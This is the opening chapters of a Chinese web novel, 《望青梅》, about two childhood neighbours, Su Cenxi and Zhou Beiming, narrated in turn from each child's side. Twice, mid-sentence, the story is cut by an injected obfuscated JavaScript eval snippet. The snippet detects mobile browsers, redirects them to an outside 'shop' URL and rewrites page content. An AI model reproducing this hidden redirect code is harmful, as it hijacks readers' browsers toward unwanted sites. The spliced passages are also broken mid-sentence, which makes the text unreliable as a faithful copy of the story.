《望青梅》 1. 望一次青梅 苏岑西后悔认识周北鸣了。 跨年钟声敲响的时候,她站在小区门口对着烟花许愿,凛冽寒风夹着雪花,冻得手指和脚趾发僵。 苍茫一片的雪层下,漆黑的皮面鞋子缓缓地挪动半步。 烟花消散,苏岑西意识到她在小区门口待到了元旦节。 还好已经许完愿望。 她希望在新的一年里,不会再遇见周北鸣。 这个烦人的小男孩在她七岁时搬来,从他住进她家楼上开始,她身后就多了一条小尾巴。 直到今天,她快上完六年级,他每天仍会打扰她的生活。 除了变本加厉的不理睬周北鸣,岑西想不到更好的解决方法。 二年级结束前,他不仅毁掉她的跨年夜,还非要所有人知道他们住在楼上楼下。 难道家里有人邀请他一起跨年,命令他在晚餐时围着长辈表演节目吗? 家里绝不会做出这种事。 但周北鸣跑着跳着敲响房门,喊着长辈炫耀新学会的广播体操,好像他才是最受宠的孩子,是唯一会跳统一广播体操的学生似的。 岑西的妈妈劝他在客厅歇会儿,可他活力无限地蹦来蹦去。 妈妈吼道:“你安分一会儿又能怎样?你鞋上的雪和泥巴甩到我的新地毯上了!” 北鸣的短靴表面覆盖一层雪,鞋底的雪块混着浊黄的土块一起化在白色的地毯上。 但他没有道歉,绕圈蹦跶几下,用鞋尖踢一踢半化开的土雪混合物。 “你不好奇我新学的广播体操吗?”他的视线跃过妈妈,落在岑西脸上,“我之前学的和这个完全不一样。” 岑西根本不喜欢听他说话,他的语气和妈妈很不一样,妈妈明明很明显的在生他的气。 “够了!别展示了!”她喊道,“这张地毯只能手洗!” “那我可以在这张地毯上跳吗?”他指指餐桌后的毛绒地毯,扭头对岑西笑,“你可以和我一起跳。” “你到底想干什么!”妈妈冲到他面前,“今天是跨年夜,你应该和家人待在一起,你为什么不回去?你的家人不会着急吗?” 岑西轻而易举地听出妈妈赶人的意思。 可北鸣开朗地笑着,根本没有移开鞋底的动作。 岑西第一次见到如此厚脸皮的人,他一点也不听别人的话。 他作为一个陌生人,弄脏别人家的珍贵地毯,至少要开口道歉吧? 但他没有道歉,他说:“他们才不会着急,我出门的时候和他们讲了我要去哪里。” 紧接着,他溜到门边,指指天花板说,“我们就住你家楼上,很近的,我不用一分钟就能跑来回。” 妈妈盯着他脚下的污渍,喃喃:“我的新地毯……” 随后,她一手拽着北鸣,一手拉开门,朝岑西说,“苏岑西,他都来我们家打招呼了,你是不是应该去他们家拜个早年?” 岑西不相信这是妈妈的真心话。 妈妈才不会允许她单独去陌生人家里拜年。 但话已经说出来,妈妈甚至喊出她的全名。 她真的要去拜早年吗? 过去说些什么呢? 难道说,管好你们的孩子,别让他再踩脏别人家的新地毯! 那不会是爸妈喜欢的打招呼方式,哪怕面对不熟悉的人,也不能用这种话做跨年夜开场白。 可妈妈没有交代其他的话,半开的门晃动几下,随时准备合上。 岑西看一眼地毯上的鞋印,不情不愿道:“是啊,我最喜欢到别人家里拜年了。” 她换下拖鞋,一步三回头地跟在他的身后。 岑西走出几步,突然听见门从内反锁的声音,她睁大眼睛。 可能是风把门吹上了,可能是其他人擅自关上门。 妈妈怎么会不给她留回家的门。 岑西想回头敲门,趁机甩掉北鸣。 可是,她还没来得及行动,他就攥着她的手腕,猛地窜上楼梯。 太可怕了。 岑西后背浸出冷汗,打算质问北鸣想做什么,他却毫无预兆地转身,直直的和她撞在一起。 她的世界几乎要坍塌,她怎么会和这个没礼貌的厚脸皮小男孩撞在一起! 岑西想要跑开,这时,她的爸爸从外面走进来。 爸爸瞧着楼梯转角的两位小朋友,僵硬地扯起嘴角:“新年快乐。” 他给他们送祝福。 “叔叔,新年快乐!” 岑西抿住嘴唇,往后退一步,离北鸣远一点,可老式楼梯间实在太拥挤。 他们的棉服几乎贴在一起。 爸爸瞟一眼立在小男孩身后的岑西,试探问:“你是住在我们楼上的孩子,搬来那天我见过你,能和我说说你叫什么名字吗?” “北鸣,周北鸣,那是我的名字。”他笑红了脸。 “你已经见过我的女儿了,她叫岑西,苏岑西,你们应该一样大。”爸爸点了点头。 “没错!我刚才听说,她今年也七岁了。”他走下台阶。 岑西找到跑开的时机。 她跑到爸爸身边,“哇”的一声哭起来。 爸爸摸摸她的发顶:“岑西,女儿,今天是新年第一天,你要邀请朋友到家里做客吗?” 岑西嘴巴紧闭,小幅度地摇摇头。 但爸爸没有如她所愿,他把北鸣喊过来,轻声说:“一起玩会儿吧,你需要和同龄人做朋友。” 北鸣收到邀请,却被岑西的妈妈拦在玄关。 妈妈不允许他再踩脏新地毯,他只能站在门后,不往前走一步。 等妈妈拿出拖鞋,他没有不好意思,找到一个角落蹲着,轻快地换上大两倍的一次性拖鞋。 妈妈又说不许他把脏鞋子放进玄关,他提起短靴,大大方方地摆到门外。 岑西不打算和不熟悉的讨厌小孩一起玩,她一回家就缩进房间。 不论周北鸣怎么喊,她都说:“我要睡觉了!不要喊我!” 门响几次以后,终于没人再喊她出来。 凌晨一点多,岑西小心翼翼拉开房门。 客厅里,只有电视机在响。 岑西观察一会儿,没听到北鸣的声音。 她松一口气,鬼鬼祟祟走出卧室。 仔细看看客厅,没有北鸣的身影。 他走了! 他走了! 岑西心里欢呼,绷着脸从客厅拿走几盒酸奶。 她就知道,只要愿意躲,总能不见到他。 可是,她的开心只持续一晚。 第二天一早,北鸣抓着糖果来找她。 “苏岑西今天在家吗?” 她躲在房间里,听见北鸣响亮的嗓音。 “她今天能出门玩吗?外面下了好大的雪,我们可以一起堆雪人。” 连下几天雪,北鸣换上一次性拖鞋,跑进来敲响她的房门。 她正在卧室里拼装积木,他过来的时候,她险些打翻积木骑士的宝剑。 岑西不明白,为什么会有这么不礼貌的小孩。 这里明明是她的家,她不喜欢看见他,他为什么总要过来。 他难道没有其他朋友吗? 今天敢跑进来敲她卧室的门,明天就敢闯进来玩她的积木! 他仅仅是一个没有礼貌,不懂分寸,身上脏兮兮的厚脸皮讨厌鬼! 岑西觉得,她这辈子都不会喜欢周北鸣。 所以,她把不想和周北鸣一起玩的事情告诉最信任的妈妈。 妈妈为阻拦北鸣进门,说出很多个理由: “岑西现在还没起床,你下次再过来吧。” “岑西今天要去辅导班,没时间出去玩。” “她前天去了亲戚家,还没回来呢。” 岑西心满意足,完全不觉得北鸣能说动妈妈。 不过,她的哥哥成为她的大麻烦。 苏浮胜从来都和爸妈对着干。 他比岑西大七岁,因为发烧想不去上课就不去,当爸爸训斥他,他扭头翻出窗户,笑喊:“有本事你来追我啊!追上我就听你唠叨!” 妈妈骂他没大没小,头发太长不像学生的样子,他当晚把头发染成绿色,说这是学了妈妈的审美。 他好像永远不会做长辈眼里的传统乖乖小孩。 以至于再大点,他才意识到他原来还有个妹妹。 爸妈一忙起来,就由他看管苏岑西。 在苏浮胜面前,岑西一向延续乖乖小孩的姿态。 可这一套对爸妈有效,对老师有效,对哥哥没有一点用处。 他才不管岑西到底想干什么,他只做他想做的事。 苏浮胜不小心打碎家里的餐具,对爸爸说那是岑西干的。 他偷翻出去,扯坏妈妈新买的窗帘,比岑西还理直气壮地跑到妈妈面前,说岑西今天真是太活泼了。 然后等岑西被禁足,他溜到岑西房间,熟练地翻出窗户,说:“我知道的,我知道的,你一定会替我保密,回来给你带青梅蛋糕。” 她真的相信哥哥的鬼话,大晚上被爸妈骂得狗血淋头。 什么青梅蛋糕? 苏浮胜才不会去买。 几次之后,岑西学到诀窍。 哥哥前脚翻窗,她后脚告状。 哥哥把责任推给她,她哭着和妈妈撒娇道歉,说其他事情转移话题。 慢慢的,苏浮胜真的给她买封口的青梅蛋糕。 她有理由命令哥哥帮她打游戏,陪她溜出去到宠物店看猫。 苏浮胜竟然很吃这套。 岑西在爸妈面前试过几次,发现这种处理方法对爸妈也很有用处。 她没有哥哥的胆量,不敢和爸妈对着干。 但只要她认真道歉,转移话题,或者是夸几句爸妈,爸妈就会容忍她在发烧时,偶尔不去补习班。 岑西觉得她聪明极了。 只有苏浮胜像是大笨蛋,明面上变本加厉的和爸妈争论。 没看出他吵赢父母能得到什么好处,可他说岑西这么乖才像是傻瓜,她被你们惯坏了,她以后得不到想要的东西。 岑西不在乎他怎么说。 反正爸妈又不会锲而不舍的训斥她。 苏浮胜拿她没办法,见到周北鸣后是个例外。 他在爸妈不在家时,喊着北鸣进家门。 苏浮胜不挑剔北鸣的鞋子,大大咧咧敲响岑西的房门:“我知道你在里面,你有本事躲起来,怎么不敢出门啊?” 北鸣紧接着敲门,喊:“你今天要一起出门玩吗?公园里新填了沙坑,能堆起高高的城堡!” 岑西装没听见,不说话,不搭理他们。 傍晚时分,妈妈下班回家,怒气冲冲的让北鸣离地毯远一些,轰着苏浮胜回房间。 两个讨厌的大麻烦一次性被解决。 后来一个月,岑西仍躲着北鸣,非必要时刻她不走出卧室半步。 房门白天晚上都会反锁。 她跟着妈妈挑选地毯,照常上着辅导班。 听妈妈说:“住在我们楼上的人不知道什么时候能装修好,每天吵得人睡都睡不好。” 这么说来,等房子装修好,周北鸣又会一天两遍的来找她? 那和发现苹果里有半只食心虫有什么区别。 岑西心惊胆战地出门。 路过小区门口,她看见北鸣和朋友在蛋糕店买果酱。 有时候,她看见北鸣拿着吃的喂流浪猫和流浪狗,他还会在公园沙堆把衣服玩得脏兮兮。 他难道不用上辅导班吗? 岑西思索着。 爸爸觉得因为不想和“一个活泼的小男孩做朋友”,所以就不和对方见面,不敢和对方一起玩是很幼稚的事情,胆小鬼才会这么做。 他希望岑西多接触同龄的小孩,多和小朋友们待在一起。 “你不想去公园玩吗?里面有很多小朋友,你二年级的同班同学也在那里,我觉得和朋友在沙堆旁玩滑梯是个不错的主意,你觉得呢?” 爸爸的主意真是糟糕透顶。 她才不想和周北鸣待在同一个地方。 岑西不明白爸爸为什么要她和周北鸣做朋友,他每次见到她,就会变成她的小尾巴。 他就是一只不懂礼貌的屎壳郎。 岑西在二年级下半年的时候,更加坚定这个想法。 下半年开学第一天,她作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026097|194412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为班长踩点走进教室。 她把书包从肩膀取下来,打算找出作业本,拿给科代表,突然她看到班主任身后跟了一个没穿校服的熟悉小男孩。 “苏岑西!”周北鸣挥舞手臂,大喊,“我们在一个班级。” 他说完,开朗地介绍他住在她的楼上,他们两个算是电视剧里的青梅竹马。 班主任感慨说:“原来你们是好朋友,转学过来有不懂的事情,你随时可以问岑西,她是我们班的小班长。” 班主任没有多想,似乎没看出岑西的不高兴。 苏岑西冷着脸,努力表现出讨厌周北鸣的样子,希望他不要来沾边。 但他根本读不懂她的表情,直直地冲过来展示他的熟稔。 岑西瞪着他,周围的同学在课间大笑。 “哟哟哟,电视剧里的青梅竹马。” “你们以后也会谈恋爱,结婚,永远在一起吗?就像电视剧里那样。” “看!他们就是电视剧里长大后会在一起的小情侣。” 不止在他们班级,隔壁班当天也听说这件事情。 等到第二天上学,整个二年级的同学都知道她和周北鸣是住在楼上楼下的青梅竹马。 苏岑西认为,她的整个二年级生活都被周北鸣毁掉了。 她以为到三年级,事情会有所好转。 但二年级的事在三年级重演,三年级的事在四年级重演,四年级的事在五年级重演。 俄罗斯套娃般不停重复。 六年级第一学期,隔壁班同学冲过来质问她:“你和周北鸣以后真的会在一起吗?” 岑西简直受够“青梅竹马”的说法。 她得想个办法,摆脱周北鸣。 这个想法可能突然且莫名其妙,但流言继续传下去,她会成为“被恋爱的学生”,家长和老师会怀疑她是不是在早恋。 那种无中生有的事,只是想想就觉得后怕。 可要解除和周北鸣的绑定,她能做什么呢? 岑西苦恼一整晚。 第二天一早,她有了一个绝妙的计划。 她打算找隔壁班的杜若琳当好朋友。 同班同学说,杜若琳是周北鸣最讨厌的男生。 只要她和杜若琳成为朋友,让周北鸣知道:“我和你讨厌的人当朋友,也不会和你当朋友。” 那么,他就不会每天跟着她了吧? 岑西觉得计划可行度很高。 即便她想不明白,为什么周北鸣会讨厌杜若琳。 在她眼中,杜若琳个子高,长得好看,每到休息日会穿极其潮流的衣服。 他简直足够完美,周北鸣有什么理由讨厌他呢? 如果他能让周北鸣不再缠着她,她会更加喜欢他。 岑西只想和杜若琳一起上下学,一起写作业,偶尔一起去楼下的小卖部。 如果周北鸣能误以为他们是顶尖的好朋友,是另一种形式的青梅竹马,她的目的就超额达成了。 可杜若琳比她想象中差远了! 他表里不一,到处说:“你知道吗?隔壁班的班长苏岑西一直暗恋我。” 话传到周北鸣耳朵里。 他们两个男孩在走廊大吵一架。 班主任陆鹤唐女士赶来前,岑西的闺蜜祝漾跑去劝架。 祝漾拉开杜若琳,坦白岑西的计划。 岑西怎么也没想到,帮忙完善计划的朋友会出卖她。 杜若琳朝岑西发一通火。 岑西试着道歉,转移话题,撒娇,说这不是她的本意,她会承包他一个月的小卖部消费。 他终于不计较这件事了。 但“杜若琳被苏岑西气哭”的讨论持续了不止一个月。 岑西犯了难,一个月的小卖部消费补偿延长到毕业前。 同学的讨论比周北鸣还要难缠。 期中考试后,没人有心思继续一个多月前的话题。 杜若琳有了新的好朋友,周北鸣又开始上学找岑西,放学也找岑西。 出成绩这天,陆鹤唐女士根据排名为学生重新安排座位。 岑西的同桌变成周北鸣。 他坐在她的左手边,总成绩仅比她高出一名,多出一分。 那有什么好神气的? 岑西不服气地想。 北鸣却像活泼过度的大金毛,任何课随时举手回答问题,体育课撒欢跑来跑去,作业永远比其他同学多交一份。 “他是你们这届最好的学生!”陆鹤唐女士每天夸北鸣。 他的月测试成绩总比她高出一名,多出一分。 岑西不喜欢输给周北鸣。 但他成为同桌后,会让她抄课堂作业,替她跑腿。 不用动脑还能比其他人更快更好的完成习题,不用跑到小卖部就能喝到最新的饮料。 和北鸣做同桌,似乎也不是没有好事。 可又一次月考成绩下来后,陆鹤唐女士再次重排座位。 他成了第一名,坐到岑西前桌。 每天和她说:“早上好,班长。” “放学能一起回家吗?” “我帮你拿书包吧!” 岑西有些不耐烦,一次也没有回答。 没有他做同桌,她只能自己写课堂作业,上课偶尔回答不出问题会被同学偷偷开玩笑: “原来班长也就那样,没多聪明嘛。” 有一次数学课,陆鹤唐女士请她站起来解答一道大题。 她的算式只能算到一半,北鸣在前桌立起数学课本,里面夹着他写好的答题过程及结果。 岑西松一口气,久违的被陆鹤唐女士当众表扬。 这天放学后,她开始定时收到北鸣的课程笔记。 岑西知道太依赖讨厌的人不好,可不用仔细听课就能收获全部知识点的好处她已经尝到了。 看在课程笔记的份上,她可以容忍他跟在身后一起回家。 反正到了七年级,他们会重新分班,还可能去不同的学校。 只要等到下半年,她的新年愿望就会实现。 她不会再遇见周北鸣。 只需再忍一个月,她和周北鸣之间的故事就会彻底结束。 2. 望两次青梅 见到苏岑西的第一眼,周北鸣就喜欢上她。 可能是电视剧里所说的一见钟情,也可能是电视剧里讲过的一眼定情。 她长得实在好看。 他从来没见过这么符合审美的同龄人。 她的眼睛圆润明亮,脖颈细长,后背时时刻刻挺得笔直。 她有一头到达肩胛骨的长发,在阳光照耀下发丝似乎会发光,他无法移开视线去看其他人。 今年已经是六年级,北鸣比二年级收敛很多。 他学会不到处讲“我和岑西是电视剧里的青梅竹马”。 毕竟刚认识的那几年,这个说法给他们添了不少麻烦。 他一开始没想到同学的看法,只想让所有人都知道:“周北鸣和苏岑西关系很好,周北鸣很喜欢苏岑西,他是苏岑西最好的朋友。” 这个想法萌生在二年级第二学期开学前。 放寒假时,北鸣的爸爸和他说:“我们得搬到烟栊这个地方,新房子离学校不太远,楼下的人家有一个和你一样大的小女儿。” 北鸣很久没和同龄人一起玩了。 他真的很孤单很孤单。 之前总和他一起上学的朋友,一放假就跟着爸妈出门旅游,大他好几岁的邻居寒假要打寒假工,没有时间陪二年级的小孩子东跑西跑。 爸妈最近很忙,只有他每天待在家里。 星期天,爸爸偶尔会在家,但坐在电脑前,一坐就是一整天。 北鸣不明白,难道有什么比陪伴儿子,和儿子一起玩更重要的事情吗? 比起做饭,打扫卫生,看电脑屏幕敲击键盘,他当然会更重要吧? 可爸爸说:“事情不完全是那样。” 爸爸指挥他带着运动相机出门买菜,帮着妈妈端菜刷盘子,他还学会怎么使用自动洗衣机。 他连作业都提前写完了,爸爸还是不答应带他出去玩。 他开始不理解承棠市这个地方,他们为什么放假这么早,明明元旦还没到。 不过他还能玩些玩具。 可一个星期后,玩具也不好玩了。 他开始追着家里的猫“大咪”玩逗猫棒。 大咪不会每次都陪他玩,有时候它攀上猫爬架,说什么都不肯下来,不肯挪动一步。 不过,大咪无法拒绝猫草饼干的诱惑,只要掰开一小块猫草饼干,大咪就会猪突猛进地冲过来。 然后,任由他揉毛摸肚皮。 元旦节前几天,搬家的车子终于停在家门口。 北鸣家里的人都松了一口气。 “北鸣能去新学校上学了。” 他们要在其他地方开始新生活了。 爸爸有时候太注重形式和仪式感,搬家第一天不许他下楼打招呼,不许他跑出去看看楼下的新院子,也不许他提前见见住在楼下的小姑娘。 “在去打招呼前,我们需要把家里的东西都搬上来。”爸爸说,“去见他们前,你先洗澡,换身更干净的衣服,会不会好一点?” 爸爸甚至不点头让他去小区门口买菜。 “北鸣,我知道你很着急,但趁着买菜的时机,跑到楼下打招呼,会不会不太礼貌?你应该给楼下的邻居准备接纳我们的时间。” 北鸣只好守在窗户旁边,盯着楼下的院子,看小路上都会经过什么人。 “爸爸,我还不能出门玩吗?我们已经过了三个小时了!” “再等一等,让你的小伙伴做好见到你的准备。”爸爸一直这么说。 元旦节前一天,爸爸终于喜笑颜开,收到新同事送来的乔迁礼。 这简直是提要求的最佳时间! 北鸣等客人回家,扑进爸爸怀里问:“今天能下楼认识新朋友吗?” 爸爸拍拍他的肩膀,笑着说:“可以,当然可以,但外面下雪了,你要注意保暖,小心摔倒,早点回来。” 北鸣只在意前两个字。 他一股脑冲到楼下,在院子里团一个小雪人,想拿给新朋友当礼物。 可冲到新朋友家门前,他摔了一跤,雪人和雪层融为一体,身上也蹭到雪和泥巴。 他不在意地跺跺脚,拍拍衣服,敲响新朋友的家门。 门一开,他就见到坐在客厅沙发上的苏岑西。 她烫成微卷的长发梳到脑后,扎成公主头,旁边的圣诞树彩灯照着她的侧脸。 她还穿着和他颜色一样的毛衣,简直像童话故事里,圣诞老人送给他的最好礼物。 北鸣雀跃着,发现苏岑西家里太安静了。 电视机前也没人讨论什么。 在这样的环境里,苏岑西也太可怜了! 她一定和他一样无聊。 北鸣想让她开心一些,冲过去喊:“我学了新的广播体操,你要看吗?” 岑西看都不看他一眼,屋子里除了长辈们,没人理睬他。 她一定刚被训斥过,心情糟糕得开心不起来,所以才不想看他的才艺展示。 可能她也很久没和好朋友一起玩,可能她的家人不许她和陌生人说话。 她一定很需要自由,如果他不帮忙,她今天可能只能待在沙发上。 他未来的好朋友这么可怜,他一定要帮帮她! 北鸣在地毯上绕圈,吸引她妈妈的注意力,再趁机拉着她跑出门外。 他想带她去家里玩,她可以玩他的游戏机,吃他的零食,他的爸爸妈妈一定会喜欢这个长得漂亮的小女孩。 但跑上楼梯后,事情变得不一样了。 北鸣抓着她的手腕,正抵达楼梯转角。 她忽然撞了他一下,从背后轻轻地抱他一下。 这一瞬间,他感觉到脸上烧得发疼。 他第一次有这种感受。 整个世界变成水晶球,雪花纷纷扬扬,灯光和音乐的陪伴下,他身上的气球不断飞起,绑住他重获重力的是水晶球里唯二的人。 她明亮的眼睛直直地望向他的眼睛。 忽然所有声音都消失,北鸣似乎停止思考。 他很确定,他喜欢眼前的女孩,他要和她做一辈子的好朋友。 就在他准备说出想法时,她的爸爸从外面走进来。 她脸皮薄,立刻就害羞地跑回房间。 北鸣跟着她走进客厅,此时她的哥哥苏浮胜翻过窗户走进来。 他的身高还不到浮胜的胸口,浮胜问他是谁,想做什么事。 北鸣老实说明来意,浮胜承诺几天后会帮他。 一周后,浮胜喊他进门找岑西。 “怎么不敢出来交朋友?”浮胜敲响门,土匪般大笑道,“楼上新用户家的孩子和你一样大,长得像演员,你为什么不好意思见他?胆小鬼,你怕什么?” 这和北鸣预想中不一样! 他后退一步,浮胜拽着他的手腕,让他敲门并说话。 北鸣照做,可岑西绝不出门,他不得不放弃今天见她。 他回到楼梯前,瞧见妈妈和苏先生一起走进来。 妈妈把手里的苹果果酱送给苏先生,那本来应该是买给他的果酱。 玻璃罐中的果酱看起来又香又细腻,如果夹在面包里,配着饮料喝,清甜的果香会在口腔中炸开。 他的舌尖似乎出现苹果酱香。 可果酱现在由苏先生收入口袋,妈妈绝不会要回来。 他坐在楼梯台阶上,一边听他们聊新生开学,一边等待妈妈发现他的存在。 当妈妈找到他,他只好一起回到家里。 事情变得很可惜,他今天完全没有见到苏岑西,更别提约她出来玩。 他清楚记得她轻巧的背后拥抱,记得她纤细的脖颈和黑亮的眼眸。 以及,她有一个胆子很大的哥哥。 夜里,北鸣幻想着回应先前的拥抱,不知不觉进入梦乡。 苏岑西会喜欢他吗? 他们真的算青梅竹马,会像电视剧里一直在一起吗? 青梅竹马的感情和普通朋友的感情肯定不一样,即便都是友谊,也一定不是一个等级。 二年级下半学期,北鸣对此想法深信不疑。 可到了三年级,他发现他完全不受控制地想要关注苏岑西。 分组时想和她待在一组,排座位时希望和她做同桌。 四年级第一学期,北鸣希望和岑西关系变好。 但听到同学说:“他们就是电视剧里以后会在一起的青梅竹马。” 他想,继续跟着苏岑西似乎不是好主意。 北鸣在五年级逐渐克制,不会什么事都要求和她待在一起。 可他的目光,他的注意力仍不由自主地关注她。 到了六年级,隔壁班突然转班一个叫杜若琳的男孩。 这个男孩简直是笨蛋,除了偷拿同学东西、找借口让同学一直给他买零食,他还总在扭曲事实,把苹果说成青梅,把橙子说成橘子。 读小学期间,他从来不按时交作业,说这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026098|194412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女同学放学亲他了,说那个男同学撕掉他的作业本,所以他才没有交作业。 他总以肚子疼,头晕,感冒的理由逃避值日,可有很多同学见过他放学打篮球,值日天甩着作业本到处跑。 老师每次都相信这种话,杜若琳的装可怜在班长面前很有用处。 一旦有人质疑,班长会对其他同学发脾气,郑重说杜若琳需要其他同学的帮助。 整个学年他连扫把都没摸过,他的心思全用在怎么穿得更潮流,怎么看起来更帅。 北鸣对杜若琳的做法起初没有很讨厌,直到六年级,他见到杜若琳向朋友吹嘘:“你们知道吗?隔壁班的班长苏岑西一直暗恋我。” 苏岑西怎么可能喜欢杜若琳? 这个姑娘脸皮薄到不敢抱紧他,她怎么可能承认喜欢谁? 杜若琳得意洋洋地说掀过苏岑西的校服裙子,觉得那很有意思。 北鸣的火气瞬间涌上,他和杜若琳大吵一架。 苏岑西和她的朋友祝漾路过时,她脸颊红扑扑,嘴角撇着,怎么看都是在生杜若琳的气,她一定也在因为杜若琳而不开心。 可是她脸皮太薄了,她不好意思找杜若琳对峙。 她心里肯定会偷偷难过吧。 毕竟她是班长,要做带头模范,绝不能轻易和隔壁班同学闹矛盾。 北鸣没有考虑其他后果,和杜若琳吵到差点打起来。 北鸣说他是苏岑西最好的朋友。 杜若琳说她根本不喜欢周北鸣。 旁观的同学说:“一班的周北鸣和二班的杜若琳为苏岑西打起来了!” 还没分出胜负,隔壁班班长叫道:“有人把陆鹤唐老师领来了,快回班!” 六年级的学生一蜂窝躲进教室。 周北鸣和杜若琳站在走廊,互相瞪着。 直到祝漾找杜若琳说悄悄话,他们突然一起消失。 他记得,杜若琳离开时,是哭着的模样。 周北鸣不知道祝漾说了什么话,但他知道,整个学校里,他最讨厌杜若琳。 陆鹤唐老师赶到时,让他放学留下谈话。 北鸣做好被训斥的准备,可她说,苏岑西,杜若琳,祝漾,他们几个人的事情应该由他们几个人处理。 她完全理解他想保护女同学的心,很开心见识到他的勇敢,可保护他人,挺身而出的前提是需要观察情况,他在决定保护别人的时候,也应该保护自己。 陆鹤唐老师不希望他发展到在校打架的程度。 第二天,杜若琳和所有人说:“隔壁班周北鸣想教训我,但被班主任制止了。” 北鸣在他口中变成“恶霸”形象,同学们不敢和北鸣过多接触,他们说怕北鸣教训他们。 可北鸣根本不在意这些,杜若琳在撒谎,没人拿得出不存在的证据。 而且,六年级结束前,北鸣再没见过岑西和杜若琳一起写作业。 即便岑西没和北鸣一起写作业,不和北鸣一起回家,她也在月考后变得好相处。 特别在模拟考试前,她下课会主动找他问习题。 在解题过程中,偶尔闻得到她的洗发水味道,她的注意力都在他身上,时不时会和他对视。 被他发现她在关注他,她会立刻转移话题,翻出另一道习题。 北鸣和岑西待在一起的时间变多了。 特别是在出成绩时。 陆鹤唐老师会在考试成绩批出后,要求不达平均分的学生多抄几遍试卷。 除那之外,“不该错的送分题”也需要额外抄写。 岑西讨厌熬夜抄写一模一样的习题,她学会错题后,靠近北鸣,让他帮忙整理习题。 北鸣很好奇,为什么她长得好看,说话也好听,他只是帮她整理习题,和她分享课程笔记,她却开始偶尔和他打招呼,说:“早啊。” 北鸣很想向陆鹤唐老师请教这种复杂的认知,可他一想到岑西,就什么都问不出口。 六年级结束前的日子里,他每天和她打招呼,每周帮她总结考点。 但她从不说喜欢他,也没有再拥抱他。 到了明年,他们要开始读初中,如果他们不在一个学校,不在一个班级,北鸣想,他的喜欢可能要无疾而终。 他的新朋友许云锦出主意,说新年许愿会很灵验。 北鸣有些相信,他仔细考虑新年愿望。 可他思来想去,他只希望在新的一年,每天都能遇见苏岑西。 3. 望三次青梅 到了七年级,比起观察新年愿望是否实现,岑西更在意另一件事。 苏汐小姨搬到她家里了。 她对小姨没什么印象,似乎没去拜过年,她没有收到小姨红包的记忆。 只有爸爸前所未有的开心。 他每天告知家人小姨和他的关系有多亲近,每天讲述小姨之前做过什么好事。 不管事实到底怎样,岑西都觉得那不关她的事。 在她眼中,苏汐小姨最多算一位来借住的陌生且好看的客人。 据爸爸说,小姨出了车祸,左脚脚踝至脚趾多达八处骨折,其中做手术植入六颗钉子。 小姨家里没有其他人照顾,出院后无法立刻独立下地行走,至少要在她家里住三个月。 岑西只是听着,就觉得骨头发疼,腿脚发软。 她试着观察小姨每天会做什么事。 可小姨时常坐着轮椅,独自前往不远处的蓝湾石桥。 那里哪值得去?岑西不理解。 小姨却早上过去,傍晚也过去。 周围住户都知道了小姨这号人。 岑西仍觉得小姨的生活无聊透顶。 但有次放学回家,她见小姨停在窗边院子里,翻《知音漫客》,读《花火》杂志。 和爸爸同龄的小姨还会用手机企鹅在线上聊天,读小说。小姨看累了,会控制轮椅到蓝湾石桥旁,和其他人下象棋。 岑西认为,小姨的所有举动只是为了找借口去看蓝湾石桥。 这座桥没什么特别,小姨却看不腻。 真是无聊还莫名其妙。 爸爸告诉岑西:“苏汐常去蓝湾石桥,是为了看看从那里放学路过的孩子。” 他不细讲,岑西不觉得小姨会告诉她关于蓝湾石桥的故事。 小姨来到家里后,一句话也没和她讲过,她觉得她们没有可聊的话题。 不过,尴尬的情况仅持续到岑西九年级开学前,小姨看到民生报道中周北鸣的身影。 岑西差点以为周北鸣是被表彰,所以才能上电视台的报道。 等她看完报道,除了想笑话周北鸣,什么事情都不想做了。 这个讨厌的小男孩竟然因为一片青梅果林摔伤小腿,还因为在青梅果林淋了大雨而发高烧。 岑西即使没有种过青梅果树,苹果树之类的树木,她也确信周北鸣对青梅果树无所不知。 七年级开学第一天,周北鸣就在炫耀他对青梅果树非常了解。 而报道里的青梅果林,种植在蓝湾石桥不远处的土地上。它们高矮不一,离一片恶臭的污水沟距离不远。 她不记得那里有开过好看的花朵,更不认为那里能长出好吃的果实,如果真是一片好果林,怎么会很多年来没人看管。 岑西听北鸣炫耀一周青梅果林,忍无可忍的在蓝湾石桥拦住他。 她和他说:“那片青梅果林看着脏兮兮的,流浪猫狗经常跑进去,各种虫子只是想想就很恶心,你别想骗其他人去看那片丑树。” 周北鸣第一次直白地说她不会讲话可以不讲。 什么叫她不会讲话? 明明是他有问题! 他们家的仓库就在岑西家后院不远处,整个仓库外蒙着一层土块,土块里夹杂野草,有时候上面会飞起来一群苍蝇。 他们家竟然还养猫,那只猫偶尔追着老鼠跑进仓库,他家里人会把仓库翻个底朝天,美名其曰要找一只巴掌大的蜘蛛。 谁还敢去周北鸣家的仓库? 不管他们仓库放了什么东西,一定细菌丛生。 小升初的暑假期间,北鸣的姐姐还曾抱着一整箱拳头大的蜘蛛站到岑西面前,让她观察蜘蛛的进食过程。 她捏起一条细长柔软,不断蛹动的食心虫,拳头大的蜘蛛等食心虫被蛛网黏住,迅猛的自虫子头部吞下虫子碎片。 岑西恶心到想呕吐,在梦里,她变成食心虫,被捕食的蜘蛛一直追。 一个多月后,她终于跑赢梦里的蜘蛛。 她放学时,偶尔再次看到挨着家里后院的肮脏仓库。 她的妈妈经常吐槽这件事,又顾及面子不和北鸣家直说对他们仓库的厌恶。 